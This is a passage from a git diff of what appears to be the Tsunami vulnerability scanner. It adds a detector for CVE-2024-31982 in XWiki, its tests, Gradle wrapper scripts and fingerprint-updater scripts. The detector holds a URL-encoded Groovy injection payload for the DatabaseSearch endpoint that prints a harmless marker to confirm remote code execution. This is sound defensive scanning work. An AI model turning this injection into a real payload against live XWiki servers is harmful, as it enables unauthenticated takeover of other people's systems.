"org.mockito:mockito-core:${mockitoVersion}" +} diff --git a/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..2c3521197 Binary files /dev/null and b/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..d04736436 --- /dev/null +++ b/google/detectors/rce/xwiki/cve202431982/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/google/detectors/rce/xwiki/cve202431982/gradlew b/google/detectors/rce/xwiki/cve202431982/gradlew new file mode 100755 index 000000000..f5feea6d6 --- /dev/null +++ b/google/detectors/rce/xwiki/cve202431982/gradlew @@ -0,0 +1,252 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s +' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/google/detectors/rce/xwiki/cve202431982/gradlew.bat b/google/detectors/rce/xwiki/cve202431982/gradlew.bat new file mode 100644 index 000000000..9d21a2183 --- /dev/null +++ b/google/detectors/rce/xwiki/cve202431982/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/google/detectors/rce/xwiki/cve202431982/settings.gradle b/google/detectors/rce/xwiki/cve202431982/settings.gradle new file mode 100644 index 000000000..0979e1228 --- /dev/null +++ b/google/detectors/rce/xwiki/cve202431982/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'cve202431982' diff --git a/google/detectors/rce/xwiki/cve202431982/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982BootstrapModule.java b/google/detectors/rce/xwiki/cve202431982/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982BootstrapModule.java new file mode 100644 index 000000000..a3d70919f --- /dev/null +++ b/google/detectors/rce/xwiki/cve202431982/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982BootstrapModule.java @@ -0,0 +1,27 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce.cve202431982; + +import com.google.tsunami.plugin.PluginBootstrapModule; + +/** A {@link PluginBootstrapModule} for {@link Cve202431982Detector}. */ +public final class Cve202431982BootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(Cve202431982Detector.class); + } +} diff --git a/google/detectors/rce/xwiki/cve202431982/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982Detector.java b/google/detectors/rce/xwiki/cve202431982/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982Detector.java new file mode 100644 index 000000000..6962d8268 --- /dev/null +++ b/google/detectors/rce/xwiki/cve202431982/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982Detector.java @@ -0,0 +1,138 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce.cve202431982; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.tsunami.common.net.http.HttpRequest.get; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Instant; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects a remote code execution vulnerability in xwiki. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "CVE-2024-31982 detector", + version = "0.1", + description = "Detects remote code execution vulnerability in xwiki", + author = "Tsunami Team (tsunami-dev@google.com)", + bootstrapModule = Cve202431982BootstrapModule.class) +public final class Cve202431982Detector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private static final ImmutableList POSSIBLE_SUBPATHS = ImmutableList.of("", "xwiki/"); + // Decoded payload: '}}}{{async + // async=false}}{{groovy}}println("tsunami-detection:"+(2001+1024)){{/groovy}}{{/async}}' + // This will print 'tsunami-detection:3025' in the output. + private static final String PAYLOAD = + "%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22tsunami%2Ddetection%3A%22%2B%282001%2B1024%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"; + private static final String TARGET_PATH = "bin/get/Main/DatabaseSearch?outputSyntax=plain&text="; + + private final Clock utcClock; + private final HttpClient httpClient; + + @Inject + Cve202431982Detector(@UtcClock Clock utcClock, HttpClient httpClient) { + this.utcClock = checkNotNull(utcClock); + this.httpClient = checkNotNull(httpClient).modify().build(); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("Starting detection: CVE-2024-31982 in xwiki"); + DetectionReportList detectionReports = + DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + + logger.atInfo().log( + "Detection for CVE-2024-31982 finished, detected '%d' vulns.", + detectionReports.getDetectionReportsCount()); + return detectionReports; + } + + private boolean isServiceVulnerable(NetworkService networkService) { + return POSSIBLE_SUBPATHS.stream() + .anyMatch(endpoint -> isEndpointVulnerable(networkService, endpoint)); + } + + private boolean isEndpointVulnerable(NetworkService networkService, String subpath) { + String targetUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + subpath + + TARGET_PATH + + PAYLOAD; + + try { + HttpResponse httpResponse = + httpClient.send(get(targetUrl).withEmptyHeaders().build(), networkService); + return (httpResponse.status().code() == 200 + && httpResponse.bodyString().get().contains("tsunami-detection:3025")); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request to %s", targetUrl); + return false; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo scannedTarget, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(scannedTarget) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2024-31982")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-31982")) + .setSeverity(Severity.CRITICAL) + .setTitle("xwiki instance vulnerable to CVE-2024-31982") + .setRecommendation( + "Update to one of the patched versions of xwiki: 14.10.20, 15.5.4, 15.10-rc-1") + .setDescription( + "The xwiki instance is vulnerable to CVE-2024-31982. This vulnerability allows" + + " an attacker to take control of the xwiki instance and does not require" + + " authentication.")) + .build(); + } +} diff --git a/google/detectors/rce/xwiki/cve202431982/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982DetectorTest.java b/google/detectors/rce/xwiki/cve202431982/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982DetectorTest.java new file mode 100644 index 000000000..0144d694a --- /dev/null +++ b/google/detectors/rce/xwiki/cve202431982/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202431982/Cve202431982DetectorTest.java @@ -0,0 +1,164 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce.cve202431982; + +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkEndpoint; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Tests for {@link Cve202431982Detector}. */ +@RunWith(JUnit4.class) +public final class Cve202431982DetectorTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); + + private static final String VULN_CONTENT = + "RSS feed for search on tsunami-detection:3025"; + + private static final Vulnerability EXPECTED_VULN = + Vulnerability.newBuilder() + .setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2024-31982")) + .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-31982")) + .setSeverity(Severity.CRITICAL) + .setTitle("xwiki instance vulnerable to CVE-2024-31982") + .setRecommendation( + "Update to one of the patched versions of xwiki: 14.10.20, 15.5.4, 15.10-rc-1") + .setDescription( + "The xwiki instance is vulnerable to CVE-2024-31982. This vulnerability allows" + + " an attacker to take control of the xwiki instance and does not require" + + " authentication.") + .build(); + + private MockWebServer mockWebServer; + + @Inject private Cve202431982Detector detector; + + @Before + public void setUp() throws IOException { + mockWebServer = new MockWebServer(); + mockWebServer.start(); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + new Cve202431982BootstrapModule()) + .injectMembers(this); + } + + @After + public void tearDown() throws IOException { + mockWebServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_reportsVuln() { + mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody(VULN_CONTENT)); + ImmutableList httpServices = + ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + + var report = + detector + .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices) + .getDetectionReportsList(); + + assertThat(report) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(buildTargetInfo(forHostname(mockWebServer.getHostName()))) + .setNetworkService(httpServices.get(0)) + .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(EXPECTED_VULN) + .build()); + } + + @Test + public void detect_whenNotVulnerableStatus_reportsNothing() { + mockWebServer.enqueue(new MockResponse().setResponseCode(404).setBody(VULN_CONTENT)); + ImmutableList httpServices = + ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + + var report = + detector + .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices) + .getDetectionReportsList(); + + assertThat(report).isEmpty(); + } + + @Test + public void detect_whenNotVulnerableContent_reportsNothing() { + mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody("Irrelevant")); + mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody("Irrelevant")); + ImmutableList httpServices = + ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + + var report = + detector + .detect(buildTargetInfo(forHostname(mockWebServer.getHostName())), httpServices) + .getDetectionReportsList(); + + assertThat(report).isEmpty(); + } + + private static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { + return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build(); + } +} diff --git a/google/fingerprinters/web/scripts/updater/community/flyte/app/docker-compose.yml b/google/fingerprinters/web/scripts/updater/community/flyte/app/docker-compose.yml new file mode 100644 index 000000000..70772b749 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/flyte/app/docker-compose.yml @@ -0,0 +1,8 @@ +services: + flyte-console: + image: ghcr.io/flyteorg/flyteconsole-release:${FLYTE_CONSOLE_VERSION} + ports: + - 8080:8080 + environment: + BASE_URL: "/console" + CONFIG_DIR: "/etc/flyte/config" diff --git a/google/fingerprinters/web/scripts/updater/community/flyte/update.sh b/google/fingerprinters/web/scripts/updater/community/flyte/update.sh new file mode 100755 index 000000000..c90d71558 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/flyte/update.sh @@ -0,0 +1,97 @@ +#!/usr/bin/env bash + +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +set -e + +source ../../common.sh + +SCRIPT_PATH="$(cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P)" +# Root path to the web fingerprinter plugin. +PROJECT_ROOT="$(cd -- "${SCRIPT_PATH}/../../../.." >/dev/null 2>&1 ; pwd -P)" +# Path to the configurations for starting a live instance of Flyte. +FLYTE_APP_PATH="${SCRIPT_PATH}/app" +# Path to the temporary data holder. +TMP_DATA="/tmp/FLYTE_fingerprints" +# Path to the local git repository for Flyte codebase. +GIT_REPO="${TMP_DATA}/repo" +# Path to the directory of all the updated fingerprints data. +FINGERPRINTS_PATH="${TMP_DATA}/fingerprints" +# Json data of the final result. +JSON_DATA="${FINGERPRINTS_PATH}/fingerprint.json" +# Binary proto data of the final result. +BIN_DATA="${FINGERPRINTS_PATH}/fingerprint.binproto" +# Read all the versions to be fingerprinted. +readarray -t ALL_VERSIONS < "${SCRIPT_PATH}/versions.txt" +mkdir -p "${FINGERPRINTS_PATH}" + +startFlyteConsole() { + local version="$1" + pushd "${FLYTE_APP_PATH}" >/dev/null + FLYTE_CONSOLE_VERSION="${version}" docker compose up -d + popd >/dev/null +} + +stopFlyteConsole() { + local version="$1" + pushd "${FLYTE_APP_PATH}" >/dev/null + FLYTE_CONSOLE_VERSION="${version}" docker compose down --volumes --remove-orphans + popd >/dev/null +} + +createFingerprintForDashboard() { + local FLYTE_CONSOLE_VERSION="$1" + + echo "Fingerprinting Flyte version ${FLYTE_CONSOLE_VERSION} ..." + # Start a live instance of Flyte. + startFlyteConsole "${FLYTE_CONSOLE_VERSION}" + # Arbitrarily chosen so that FlyteFlyte is up and running. + echo "Waiting for Flyte ${FLYTE_CONSOLE_VERSION} to be ready ..." + sleep 10 + + # Checkout the repository to the correct tag. + checkOutRepo "${GIT_REPO}" "${FLYTE_CONSOLE_VERSION}" + + updateFingerprint \ + "flyte" \ + "${FLYTE_CONSOLE_VERSION}" \ + "${FINGERPRINTS_PATH}" \ + "${GIT_REPO}/website/console" \ + "http://localhost:8080/console/" + + # Stop the live instance of Flyte. + stopFlyteConsole "${FLYTE_CONSOLE_VERSION}" +} + + +# Convert the existing data file to a human-readable json file. +convertFingerprint \ + "${PROJECT_ROOT}/src/main/resources/fingerprinters/web/data/community/flyte.binproto" \ + "${JSON_DATA}" + +# Fetch Flyte codebase. +if [[ ! -d "${GIT_REPO}" ]] ; then + git clone https://github.com/flyteorg/flyteconsole.git "${GIT_REPO}" +fi + +# Update for all the versions listed in versions.txt file. +for FLYTE_CONSOLE_VERSION in "${ALL_VERSIONS[@]}"; do + createFingerprintForDashboard "${FLYTE_CONSOLE_VERSION}" +done + +convertFingerprint "${JSON_DATA}" "${BIN_DATA}" + +echo "Fingerprint updated for Flyte. Please commit the following file:" +echo " ${BIN_DATA}" \ No newline at end of file diff --git a/google/fingerprinters/web/scripts/updater/community/flyte/versions.txt b/google/fingerprinters/web/scripts/updater/community/flyte/versions.txt new file mode 100644 index 000000000..dc61061f8 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/flyte/versions.txt @@ -0,0 +1,26 @@ +v1.12.0 +v1.11.0 +v1.10.0 +v1.9.1 +v1.9.0 +v1.8.1 +v1.8.0 +v1.7.0 +v1.6.2 +v1.6.1 +v1.6.0 +v1.5.1 +v1.5.0 +v1.4.3 +v1.4.2 +v1.4.1 +v1.4.0 +v1.3.0 +v1.2.1 +v1.2.0 +v1.1.6 +v1.1.3 +v1.1.0 +v1.1.1 +v1.0.0 +v0.19.4 diff --git a/google/fingerprinters/web/scripts/updater/community/gradio/app/Dockerfile b/google/fingerprinters/web/scripts/updater/community/gradio/app/Dockerfile new file mode 100644 index 000000000..85510e999 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/gradio/app/Dockerfile @@ -0,0 +1,11 @@ +FROM python:3.9-slim + +ARG version + +RUN python -m pip install gradio==$version + +ADD test_app.py /workspace/ + +EXPOSE 8000 + +CMD [ "python3" , "/workspace/test_app.py" ] \ No newline at end of file diff --git a/google/fingerprinters/web/scripts/updater/community/gradio/app/docker-compose.yml b/google/fingerprinters/web/scripts/updater/community/gradio/app/docker-compose.yml new file mode 100644 index 000000000..470660edd --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/gradio/app/docker-compose.yml @@ -0,0 +1,8 @@ +services: + gradio: + build: + context: . + args: + version: ${GRADIO_VERSION} + ports: + - "8000:8000" \ No newline at end of file diff --git a/google/fingerprinters/web/scripts/updater/community/gradio/app/test_app.py 